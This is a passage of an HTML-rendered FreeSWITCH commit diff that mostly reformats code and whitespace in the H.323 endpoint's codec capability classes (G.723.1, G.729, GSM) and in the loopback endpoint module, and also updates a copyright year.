-                const H323Capability& capability,
-                Directions direction,
-                unsigned sessionID,
-                const PIPSocket::Address& ip,
-                WORD dataPort
-        );
- /* Destructor */
- ~FSH323_ExternalRTPChannel();
</del><ins>+class FSH323_ExternalRTPChannel:public H323_ExternalRTPChannel {
+        PCLASSINFO(FSH323_ExternalRTPChannel, H323_ExternalRTPChannel);
+ public:
+        /* Create a new channel. */
+        FSH323_ExternalRTPChannel(FSH323Connection & connection,
+                                                         const H323Capability & capability, Directions direction, unsigned sessionID, const PIPSocket::Address & ip, WORD dataPort);
+        /* Destructor */
+         ~FSH323_ExternalRTPChannel();
</ins><span class="cx">
</span><del>- virtual PBoolean Start();
- virtual PBoolean OnReceivedAckPDU(const H245_H2250LogicalChannelAckParameters& param);
- virtual PBoolean OnSendingPDU(H245_H2250LogicalChannelParameters& param);
- virtual PBoolean OnReceivedPDU(const H245_H2250LogicalChannelParameters& param,unsigned& errorCode);
- virtual void OnSendOpenAck(H245_H2250LogicalChannelAckParameters& param);
-        
</del><ins>+        virtual PBoolean Start();
+        virtual PBoolean OnReceivedAckPDU(const H245_H2250LogicalChannelAckParameters & param);
+        virtual PBoolean OnSendingPDU(H245_H2250LogicalChannelParameters & param);
+        virtual PBoolean OnReceivedPDU(const H245_H2250LogicalChannelParameters & param, unsigned &errorCode);
+        virtual void OnSendOpenAck(H245_H2250LogicalChannelAckParameters & param);
</ins><span class="cx">
</span><del>-private:
- FSH323Connection* m_conn;
-        const H323Capability* m_capability;
</del><ins>+
+ private:
+         FSH323Connection * m_conn;
+        const H323Capability *m_capability;
</ins><span class="cx">         switch_core_session_t *m_fsSession;
</span><span class="cx">         switch_channel_t *m_fsChannel;
</span><span class="cx">         switch_codec_t *m_switchCodec;
</span><span class="lines">@@ -312,124 +287,95 @@
</span><span class="cx">         PString m_RTPlocalIP;
</span><span class="cx">         WORD m_RTPlocalPort;
</span><span class="cx">         BYTE payloadCode;
</span><del>-        
</del><ins>+
</ins><span class="cx"> };
</span><span class="cx">
</span><del>-class BaseG7231Capab : public H323AudioCapability
-{
- PCLASSINFO(BaseG7231Capab, H323AudioCapability);
-public:
- BaseG7231Capab(const char* fname, bool annexA = true)
-        : H323AudioCapability(7,4), m_name(fname), m_aa(annexA)
-        { }
-        
- virtual PObject* Clone() const{
-                return new BaseG7231Capab(*this);
-        }
-        
- virtual unsigned GetSubType() const{
-                return H245_AudioCapability::e_g7231;
-        }
-        
- virtual PString GetFormatName() const{
-                return m_name;
-        }
-        
- virtual H323Codec* CreateCodec(H323Codec::Direction direction) const{
-                return 0;
-        }
-        
- virtual Comparison Compare(const PObject& obj) const{
-         Comparison res = H323AudioCapability::Compare(obj);
-         if (res != EqualTo)
-                        return res;
-         bool aa = static_cast<const BaseG7231Capab&>(obj).m_aa;
-         if (aa && !m_aa)
-                        return LessThan;
-         if (m_aa && !aa)
-                        return GreaterThan;
-         return EqualTo;
-        }
-        
- virtual bool OnSendingPDU(H245_AudioCapability& pdu, unsigned packetSize) const        {
-         pdu.SetTag(GetSubType());
-         H245_AudioCapability_g7231& g7231 = pdu;
-         g7231.m_maxAl_sduAudioFrames = packetSize;
-         g7231.m_silenceSuppression = m_aa;
-         return true;
-        }
-        
- virtual bool OnReceivedPDU(const H245_AudioCapability& pdu, unsigned& packetSize){
-         if (pdu.GetTag() != H245_AudioCapability::e_g7231)
</del><ins>+class BaseG7231Capab:public H323AudioCapability {
+        PCLASSINFO(BaseG7231Capab, H323AudioCapability);
+ public:
+        BaseG7231Capab(const char *fname, bool annexA = true)
+ :        H323AudioCapability(7, 4), m_name(fname), m_aa(annexA) {
+        } virtual PObject *Clone() const {
+                return new BaseG7231Capab(*this);
+        } virtual unsigned GetSubType() const {
+                return H245_AudioCapability::e_g7231;
+        } virtual PString GetFormatName() const {
+                return m_name;
+        } virtual H323Codec *CreateCodec(H323Codec::Direction direction) const {
+                return 0;
+        } virtual Comparison Compare(const PObject & obj) const {
+                Comparison res = H323AudioCapability::Compare(obj);
+                if (res != EqualTo)
+                         return res;
+                bool aa = static_cast < const BaseG7231Capab & >(obj).m_aa;
+                if (aa && !m_aa)
+                         return LessThan;
+                if (m_aa && !aa)
+                         return GreaterThan;
+                 return EqualTo;
+        } virtual bool OnSendingPDU(H245_AudioCapability & pdu, unsigned packetSize) const {
+                pdu.SetTag(GetSubType());
+                H245_AudioCapability_g7231 & g7231 = pdu;
+                g7231.m_maxAl_sduAudioFrames = packetSize;
+                g7231.m_silenceSuppression = m_aa;
+                return true;
+        } virtual bool OnReceivedPDU(const H245_AudioCapability & pdu, unsigned &packetSize) {
+                if (pdu.GetTag() != H245_AudioCapability::e_g7231)
</ins><span class="cx">                         return false;
</span><del>-         const H245_AudioCapability_g7231& g7231 = pdu;
-         packetSize = g7231.m_maxAl_sduAudioFrames;
-         m_aa = (g7231.m_silenceSuppression != 0);
-         return true;
</del><ins>+                const H245_AudioCapability_g7231 & g7231 = pdu;
+                packetSize = g7231.m_maxAl_sduAudioFrames;
+                m_aa = (g7231.m_silenceSuppression != 0);
+                return true;
</ins><span class="cx">         }
</span><span class="cx">
</span><del>-protected:
- const char* m_name;
- bool m_aa;
</del><ins>+ protected:
+        const char *m_name;
+        bool m_aa;
</ins><span class="cx"> };
</span><span class="cx">
</span><del>-class BaseG729Capab : public H323AudioCapability
-{
- PCLASSINFO(BaseG729Capab, H323AudioCapability);
-public:
- BaseG729Capab(const char* fname, unsigned type = H245_AudioCapability::e_g729)
-        : H323AudioCapability(24,6), m_name(fname), m_type(type)
-        { }
- virtual PObject* Clone() const
-        // default copy constructor - take care!
-        { return new BaseG729Capab(*this); }
- virtual unsigned GetSubType() const
-        { return m_type; }
- virtual PString GetFormatName() const
-        { return m_name; }
- virtual H323Codec* CreateCodec(H323Codec::Direction direction) const
-        { return 0; }
-protected:
- const char* m_name;
- unsigned m_type;
</del><ins>+class BaseG729Capab:public H323AudioCapability {
+        PCLASSINFO(BaseG729Capab, H323AudioCapability);
+ public:
+        BaseG729Capab(const char *fname, unsigned type = H245_AudioCapability::e_g729)
+ :        H323AudioCapability(24, 6), m_name(fname), m_type(type) {
+        } virtual PObject *Clone() const
+                // default copy constructor - take care!
+        {
+                return new BaseG729Capab(*this);
+        } virtual unsigned GetSubType() const {
+                return m_type;
+        } virtual PString GetFormatName() const {
+                return m_name;
+        } virtual H323Codec *CreateCodec(H323Codec::Direction direction) const {
+                return 0;
+ } protected:
+        const char *m_name;
+        unsigned m_type;
</ins><span class="cx"> };
</span><span class="cx">
</span><del>-class BaseGSM0610Cap : public H323AudioCapability
-{
</del><ins>+class BaseGSM0610Cap:public H323AudioCapability {
</ins><span class="cx">         PCLASSINFO(BaseGSM0610Cap, H323AudioCapability);
</span><span class="cx">
</span><del>-public:
-        
-        BaseGSM0610Cap(const char* fname, unsigned type = H245_AudioCapability::e_gsmFullRate)
-        : H323AudioCapability(24,2), m_name(fname), m_type(type),m_comfortNoise(0),m_scrambled(0)
-        { }
-        
-        virtual PObject * Clone() const{
-                return new BaseGSM0610Cap(*this);
-        }
</del><ins>+ public:
</ins><span class="cx">
</span><del>-        virtual H323Codec* CreateCodec(H323Codec::Direction direction) const{
</del><ins>+        BaseGSM0610Cap(const char *fname, unsigned type = H245_AudioCapability::e_gsmFullRate)
+ :        H323AudioCapability(24, 2), m_name(fname), m_type(type), m_comfortNoise(0), m_scrambled(0) {
+        } virtual PObject *Clone() const {
+                return new BaseGSM0610Cap(*this);
+        } virtual H323Codec *CreateCodec(H323Codec::Direction direction) const {
</ins><span class="cx">                 return 0;
</span><del>-        }
-
-        virtual unsigned GetSubType() const{
</del><ins>+        } virtual unsigned GetSubType() const {
</ins><span class="cx">                 return H245_AudioCapability::e_gsmFullRate;
</span><del>-        }
-
-        virtual PString GetFormatName() const{
</del><ins>+        } virtual PString GetFormatName() const {
</ins><span class="cx">                 return m_name;
</span><del>-        }
-
-        virtual bool OnSendingPDU(H245_AudioCapability & pdu, unsigned packetSize) const{
</del><ins>+        } virtual bool OnSendingPDU(H245_AudioCapability & pdu, unsigned packetSize) const {
</ins><span class="cx">                 pdu.SetTag(H245_AudioCapability::e_gsmFullRate);
</span><span class="cx">                 H245_GSMAudioCapability & gsm = pdu;
</span><span class="cx">                 gsm.m_audioUnitSize = packetSize * 33;
</span><span class="cx">                 gsm.m_comfortNoise = m_comfortNoise;
</span><span class="cx">                 gsm.m_scrambled = m_scrambled;
</span><span class="cx">                 return true;
</span><del>-        }
-        
-        virtual bool OnReceivedPDU(const H245_AudioCapability & pdu, unsigned & packetSize){
</del><ins>+        } virtual bool OnReceivedPDU(const H245_AudioCapability & pdu, unsigned &packetSize) {
</ins><span class="cx">                 PTRACE(2, "mod_h323\t==============>BaseGSM0610Cap::OnReceivedPDU");
</span><span class="cx">                 if (pdu.GetTag() != H245_AudioCapability::e_gsmFullRate)
</span><span class="cx">                         return false;
</span><span class="lines">@@ -440,8 +386,8 @@
</span><span class="cx">                 return true;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-protected:
-        const char* m_name;
</del><ins>+ protected:
+        const char *m_name;
</ins><span class="cx">         int m_comfortNoise;
</span><span class="cx">         int m_scrambled;
</span><span class="cx">         unsigned m_type;
</span><span class="lines">@@ -458,15 +404,15 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><del>-DEFINE_H323_CAPAB(FS_G7231_5,BaseG7231Capab,false,OPAL_G7231_5k3"{sw}")
-DEFINE_H323_CAPAB(FS_G7231_6,BaseG7231Capab,false,OPAL_G7231_6k3"{sw}")
-DEFINE_H323_CAPAB(FS_G7231A_5,BaseG7231Capab,true,OPAL_G7231A_5k3"{sw}")
-DEFINE_H323_CAPAB(FS_G7231A_6,BaseG7231Capab,true,OPAL_G7231A_6k3"{sw}")
-DEFINE_H323_CAPAB(FS_G729,BaseG729Capab,H245_AudioCapability::e_g729,OPAL_G729"{sw}")
-DEFINE_H323_CAPAB(FS_G729A,BaseG729Capab,H245_AudioCapability::e_g729AnnexA,OPAL_G729A"{sw}")
-DEFINE_H323_CAPAB(FS_G729B,BaseG729Capab,H245_AudioCapability::e_g729wAnnexB,OPAL_G729B"{sw}")
-DEFINE_H323_CAPAB(FS_G729AB,BaseG729Capab,H245_AudioCapability::e_g729AnnexAwAnnexB,OPAL_G729AB"{sw}")
-DEFINE_H323_CAPAB(FS_GSM,BaseGSM0610Cap,H245_AudioCapability::e_gsmFullRate,OPAL_GSM0610"{sw}")
</del><ins>+DEFINE_H323_CAPAB(FS_G7231_5, BaseG7231Capab, false, OPAL_G7231_5k3 "{sw}")
+        DEFINE_H323_CAPAB(FS_G7231_6, BaseG7231Capab, false, OPAL_G7231_6k3 "{sw}")
+        DEFINE_H323_CAPAB(FS_G7231A_5, BaseG7231Capab, true, OPAL_G7231A_5k3 "{sw}")
+        DEFINE_H323_CAPAB(FS_G7231A_6, BaseG7231Capab, true, OPAL_G7231A_6k3 "{sw}")
+        DEFINE_H323_CAPAB(FS_G729, BaseG729Capab, H245_AudioCapability::e_g729, OPAL_G729 "{sw}")
+        DEFINE_H323_CAPAB(FS_G729A, BaseG729Capab, H245_AudioCapability::e_g729AnnexA, OPAL_G729A "{sw}")
+        DEFINE_H323_CAPAB(FS_G729B, BaseG729Capab, H245_AudioCapability::e_g729wAnnexB, OPAL_G729B "{sw}")
+        DEFINE_H323_CAPAB(FS_G729AB, BaseG729Capab, H245_AudioCapability::e_g729AnnexAwAnnexB, OPAL_G729AB "{sw}")
+        DEFINE_H323_CAPAB(FS_GSM, BaseGSM0610Cap, H245_AudioCapability::e_gsmFullRate, OPAL_GSM0610 "{sw}")
</ins><span class="cx">
</span><span class="cx">
</span><del>-static FSProcess *h323_process = NULL;
</del><ins>+         static FSProcess *h323_process = NULL;
</ins></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_loopbackmod_loopbackc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_loopback/mod_loopback.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_loopback/mod_loopback.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_loopback/mod_loopback.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -97,7 +97,8 @@
</span><span class="cx"> static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
</span><span class="cx"> static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
</span><span class="cx">                                                                                                         switch_caller_profile_t *outbound_profile,
</span><del>-                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
</del><ins>+                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                        switch_call_cause_t *cancel_cause);
</ins><span class="cx"> static switch_status_t channel_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id);
</span><span class="cx"> static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id);
</span><span class="cx"> static switch_status_t channel_kill_channel(switch_core_session_t *session, int sig);
</span><span class="lines">@@ -116,7 +117,7 @@
</span><span class="cx">                 rate = codec->implementation->samples_per_second;
</span><span class="cx">                 interval = codec->implementation->microseconds_per_packet / 1000;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_core_codec_ready(&tech_pvt->read_codec)) {
</span><span class="cx">                 switch_core_codec_destroy(&tech_pvt->read_codec);
</span><span class="cx">         }
</span><span class="lines">@@ -125,17 +126,13 @@
</span><span class="cx">                 switch_core_codec_destroy(&tech_pvt->write_codec);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s setup codec %s/%d/%d\n", switch_channel_get_name(channel), iananame, rate, interval);
-        
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s setup codec %s/%d/%d\n", switch_channel_get_name(channel), iananame, rate,
+                                         interval);
+
</ins><span class="cx">         status = switch_core_codec_init(&tech_pvt->read_codec,
</span><span class="cx">                                                                         iananame,
</span><span class="cx">                                                                         NULL,
</span><del>-                                                                        rate,
-                                                                        interval,
-                                                                        1,
-                                                                        SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE,
-                                                                        NULL,
-                                                                        switch_core_session_get_pool(session));
</del><ins>+                                                                        rate, interval, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, switch_core_session_get_pool(session));
</ins><span class="cx">
</span><span class="cx">         if (status != SWITCH_STATUS_SUCCESS || !tech_pvt->read_codec.implementation || !switch_core_codec_ready(&tech_pvt->read_codec)) {
</span><span class="cx">                 goto end;
</span><span class="lines">@@ -144,14 +141,9 @@
</span><span class="cx">         status = switch_core_codec_init(&tech_pvt->write_codec,
</span><span class="cx">                                                                         iananame,
</span><span class="cx">                                                                         NULL,
</span><del>-                                                                        rate,
-                                                                        interval,
-                                                                        1,
-                                                                        SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE,
-                                                                        NULL,
-                                                                        switch_core_session_get_pool(session));
-        
</del><ins>+                                                                        rate, interval, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, switch_core_session_get_pool(session));
</ins><span class="cx">
</span><ins>+
</ins><span class="cx">         if (status != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_core_codec_destroy(&tech_pvt->read_codec);
</span><span class="cx">                 goto end;
</span><span class="lines">@@ -160,31 +152,29 @@
</span><span class="cx">         tech_pvt->read_frame.data = tech_pvt->databuf;
</span><span class="cx">         tech_pvt->read_frame.buflen = sizeof(tech_pvt->databuf);
</span><span class="cx">         tech_pvt->read_frame.codec = &tech_pvt->read_codec;
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         tech_pvt->cng_frame.data = tech_pvt->cng_databuf;
</span><span class="cx">         tech_pvt->cng_frame.buflen = sizeof(tech_pvt->cng_databuf);
</span><span class="cx">         //switch_set_flag((&tech_pvt->cng_frame), SFF_CNG);
</span><span class="cx">         tech_pvt->cng_frame.datalen = 2;
</span><span class="cx">
</span><del>-        tech_pvt->bowout_frame_count = (tech_pvt->read_codec.implementation->actual_samples_per_second /
-                                                         tech_pvt->read_codec.implementation->samples_per_packet) * 3;
</del><ins>+        tech_pvt->bowout_frame_count = (tech_pvt->read_codec.implementation->actual_samples_per_second /
+                                                                        tech_pvt->read_codec.implementation->samples_per_packet) * 3;
</ins><span class="cx">
</span><span class="cx">         switch_core_session_set_read_codec(session, &tech_pvt->read_codec);
</span><span class="cx">         switch_core_session_set_write_codec(session, &tech_pvt->write_codec);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (tech_pvt->flag_mutex) {
</span><span class="cx">                 switch_core_timer_destroy(&tech_pvt->timer);
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         read_impl = tech_pvt->read_codec.implementation;
</span><span class="cx">
</span><del>-        switch_core_timer_init(&tech_pvt->timer, "soft",
-                                                 read_impl->microseconds_per_packet / 1000,
-                                                 read_impl->samples_per_packet *4,
-                                                 switch_core_session_get_pool(session));
-        
</del><ins>+        switch_core_timer_init(&tech_pvt->timer, "soft",
+                                                 read_impl->microseconds_per_packet / 1000, read_impl->samples_per_packet * 4, switch_core_session_get_pool(session));
</ins><span class="cx">
</span><ins>+
</ins><span class="cx">         if (!tech_pvt->flag_mutex) {
</span><span class="cx">                 switch_mutex_init(&tech_pvt->flag_mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
</span><span class="cx">                 switch_mutex_init(&tech_pvt->mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
</span><span class="lines">@@ -194,7 +184,7 @@
</span><span class="cx">                 tech_pvt->channel = switch_core_session_get_channel(session);
</span><span class="cx">         }
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -217,22 +207,22 @@
</span><span class="cx">
</span><span class="cx">         channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_assert(channel != NULL);
</span><del>-        
</del><span class="cx">
</span><span class="cx">
</span><ins>+
</ins><span class="cx">         if (switch_test_flag(tech_pvt, TFLAG_OUTBOUND) && !switch_test_flag(tech_pvt, TFLAG_BLEG)) {
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!(b_session = switch_core_session_request(loopback_endpoint_interface, SWITCH_CALL_DIRECTION_INBOUND, NULL))) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "Failure.\n");
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><del>-        
</del><ins>+
</ins><span class="cx">                 if (switch_core_session_read_lock(b_session) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "Failure.\n");
</span><span class="cx">                         switch_core_session_destroy(&b_session);
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_core_session_add_stream(b_session, NULL);
</span><span class="cx">                 b_channel = switch_core_session_get_channel(b_session);
</span><span class="cx">                 b_tech_pvt = (private_t *) switch_core_session_alloc(b_session, sizeof(*b_tech_pvt));
</span><span class="lines">@@ -244,7 +234,7 @@
</span><span class="cx">                         switch_core_session_destroy(&b_session);
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 caller_profile = switch_caller_profile_clone(b_session, tech_pvt->caller_profile);
</span><span class="cx">                 caller_profile->source = switch_core_strdup(caller_profile->pool, modname);
</span><span class="cx">                 switch_channel_set_caller_profile(b_channel, caller_profile);
</span><span class="lines">@@ -260,16 +250,16 @@
</span><span class="cx">                 //b_tech_pvt->other_channel = channel;
</span><span class="cx">
</span><span class="cx">                 b_tech_pvt->other_uuid = switch_core_session_strdup(b_session, switch_core_session_get_uuid(session));
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_set_flag_locked(tech_pvt, TFLAG_LINKED);
</span><span class="cx">                 switch_set_flag_locked(b_tech_pvt, TFLAG_LINKED);
</span><span class="cx">                 switch_set_flag_locked(b_tech_pvt, TFLAG_BLEG);
</span><span class="cx">
</span><del>-                
-                switch_channel_set_flag(channel, CF_ACCEPT_CNG);        
</del><ins>+
+                switch_channel_set_flag(channel, CF_ACCEPT_CNG);
</ins><span class="cx">                 //switch_ivr_transfer_variable(session, tech_pvt->other_session, "process_cdr");
</span><span class="cx">                 switch_ivr_transfer_variable(session, tech_pvt->other_session, NULL);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_channel_set_variable(channel, "other_loopback_leg_uuid", switch_channel_get_uuid(b_channel));
</span><span class="cx">                 switch_channel_set_variable(b_channel, "other_loopback_leg_uuid", switch_channel_get_uuid(channel));
</span><span class="cx">
</span><span class="lines">@@ -279,10 +269,10 @@
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><span class="cx">         } else if ((tech_pvt->other_session = switch_core_session_locate(tech_pvt->other_uuid))) {
</span><del>-                tech_pvt->other_tech_pvt =         switch_core_session_get_private(tech_pvt->other_session);
</del><ins>+                tech_pvt->other_tech_pvt = switch_core_session_get_private(tech_pvt->other_session);
</ins><span class="cx">                 tech_pvt->other_channel = switch_core_session_get_channel(tech_pvt->other_session);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!tech_pvt->other_session) {
</span><span class="cx">                 switch_clear_flag_locked(tech_pvt, TFLAG_LINKED);
</span><span class="cx">                 switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="lines">@@ -292,7 +282,7 @@
</span><span class="cx">         switch_channel_set_variable(channel, "loopback_leg", switch_test_flag(tech_pvt, TFLAG_BLEG) ? "B" : "A");
</span><span class="cx">         switch_channel_set_state(channel, CS_ROUTING);
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -301,7 +291,7 @@
</span><span class="cx"> {
</span><span class="cx">         switch_clear_flag_locked(tech_pvt, TFLAG_WRITE);
</span><span class="cx">         switch_set_flag_locked(tech_pvt, TFLAG_CNG);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(tech_pvt->mutex);
</span><span class="cx">         if (tech_pvt->other_tech_pvt) {
</span><span class="cx">                 switch_clear_flag_locked(tech_pvt->other_tech_pvt, TFLAG_WRITE);
</span><span class="lines">@@ -333,14 +323,14 @@
</span><span class="cx">                 extension = switch_caller_extension_new(session, app, app);
</span><span class="cx">                 switch_caller_extension_add_application(session, extension, "pre_answer", NULL);
</span><span class="cx">                 switch_caller_extension_add_application(session, extension, app, arg);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_channel_set_caller_extension(channel, extension);
</span><span class="cx">                 switch_channel_set_state(channel, CS_EXECUTE);
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -356,7 +346,7 @@
</span><span class="cx">         assert(tech_pvt != NULL);
</span><span class="cx">
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s CHANNEL EXECUTE\n", switch_channel_get_name(channel));
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -373,11 +363,11 @@
</span><span class="cx">
</span><span class="cx">         if (tech_pvt) {
</span><span class="cx">                 switch_core_timer_destroy(&tech_pvt->timer);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_core_codec_ready(&tech_pvt->read_codec)) {
</span><span class="cx">                         switch_core_codec_destroy(&tech_pvt->read_codec);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_core_codec_ready(&tech_pvt->write_codec)) {
</span><span class="cx">                         switch_core_codec_destroy(&tech_pvt->write_codec);
</span><span class="cx">                 }
</span><span class="lines">@@ -416,7 +406,7 @@
</span><span class="cx">                 switch_clear_flag_locked(tech_pvt->other_tech_pvt, TFLAG_LINKED);
</span><span class="cx">                 tech_pvt->other_tech_pvt = NULL;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (tech_pvt->other_session) {
</span><span class="cx">                 switch_channel_hangup(tech_pvt->other_channel, switch_channel_get_cause(channel));
</span><span class="cx">                 switch_core_session_rwunlock(tech_pvt->other_session);
</span><span class="lines">@@ -424,7 +414,7 @@
</span><span class="cx">                 tech_pvt->other_session = NULL;
</span><span class="cx">         }
</span><span class="cx">         switch_mutex_unlock(tech_pvt->mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -494,7 +484,8 @@
</span><span class="cx">         switch_assert(tech_pvt != NULL);
</span><span class="cx">
</span><span class="cx">         do_reset(tech_pvt);
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s RESET\n", switch_channel_get_name(switch_core_session_get_channel(session)));
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s RESET\n",
+                                         switch_channel_get_name(switch_core_session_get_channel(session)));
</ins><span class="cx">
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -503,7 +494,8 @@
</span><span class="cx"> {
</span><span class="cx">         switch_assert(switch_core_session_get_private(session));
</span><span class="cx">
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s HIBERNATE\n", switch_channel_get_name(switch_core_session_get_channel(session)));
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s HIBERNATE\n",
+                                         switch_channel_get_name(switch_core_session_get_channel(session)));
</ins><span class="cx">
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -555,15 +547,15 @@
</span><span class="cx">         if (!switch_test_flag(tech_pvt, TFLAG_LINKED)) {
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         *frame = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!switch_channel_ready(channel)) {
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_core_timer_next(&tech_pvt->timer);
</span><del>-        
</del><ins>+
</ins><span class="cx">         mutex = tech_pvt->mutex;
</span><span class="cx">         switch_mutex_lock(mutex);
</span><span class="cx">
</span><span class="lines">@@ -578,7 +570,7 @@
</span><span class="cx">         } else {
</span><span class="cx">                 switch_set_flag(tech_pvt, TFLAG_CNG);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_test_flag(tech_pvt, TFLAG_CNG)) {
</span><span class="cx">                 unsigned char data[SWITCH_RECOMMENDED_BUFFER_SIZE];
</span><span class="cx">                 uint32_t flag = 0;
</span><span class="lines">@@ -598,28 +590,24 @@
</span><span class="cx">                                                                                                          data,
</span><span class="cx">                                                                                                          tech_pvt->read_codec.implementation->decoded_bytes_per_packet,
</span><span class="cx">                                                                                                          tech_pvt->read_codec.implementation->actual_samples_per_second,
</span><del>-                                                                                                         tech_pvt->cng_frame.data,
-                                                                                                         &tech_pvt->cng_frame.datalen,                                                                                        
-                                                                                                         &rate,
-                                                                                                         &flag);
</del><ins>+                                                                                                         tech_pvt->cng_frame.data, &tech_pvt->cng_frame.datalen, &rate, &flag);
</ins><span class="cx">                         if (encode_status != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="cx">                         }
</span><del>-                                                                                                        
-                }
</del><span class="cx">
</span><ins>+                }
</ins><span class="cx">                 //switch_set_flag((&tech_pvt->cng_frame), SFF_CNG);
</span><span class="cx">                 switch_clear_flag_locked(tech_pvt, TFLAG_CNG);
</span><span class="cx">         }
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         if (*frame) {
</span><span class="cx">                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         } else {
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><del>-        }        
</del><ins>+        }
</ins><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         if (mutex) {
